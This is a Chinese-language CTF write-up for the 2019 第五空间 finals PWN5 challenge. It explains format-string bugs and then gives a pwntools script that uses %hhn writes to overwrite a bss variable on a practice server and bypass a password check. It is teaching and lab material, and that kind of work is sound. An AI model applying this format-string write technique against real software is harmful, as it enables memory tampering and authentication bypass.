[第五空间2019 决赛]PWN5

末鹿安然 提交于 2019-12-04 03:22:10

 格式化漏洞讲解:  https://www.cnblogs.com/0xJDchen/p/5904816.html

%x是吧数据以16进制输出

%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据

格式 : %12$x    可以直接定位到地12个参数   其他%p,%s,%%n等类似

一般来说 先输入 'AAAA %08x %08x %08x %08x %08x.....'来判断我们输入首地址的偏移 (找到41414141就是AAAA)

继而就可以任意修改栈上的数据

看题目

 

明显的格式化漏洞

因为这个unk_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可

from pwn import *

# io=process('./pwn')

io=remote('node3.buuoj.cn',28876)

addr=0x0804C044

# base=10

payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)

payload+='%10$hhn%11$hhn%12$hhn%13$hhn'

io.sendline(payload)

payload=str(0x10101010)

io.sendline(payload)

io.interactive()

 

补充说明:%n   %s  是要解析出数据表达的地址的, 所以我们才能实现任意地址修改(要有修改权限,没有的话可以调用某个函数,给忘了。。。)

  这里我们把bss地址先输入,然后用%10n  %11n  %12n  %13n按一个一个byte的修改

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!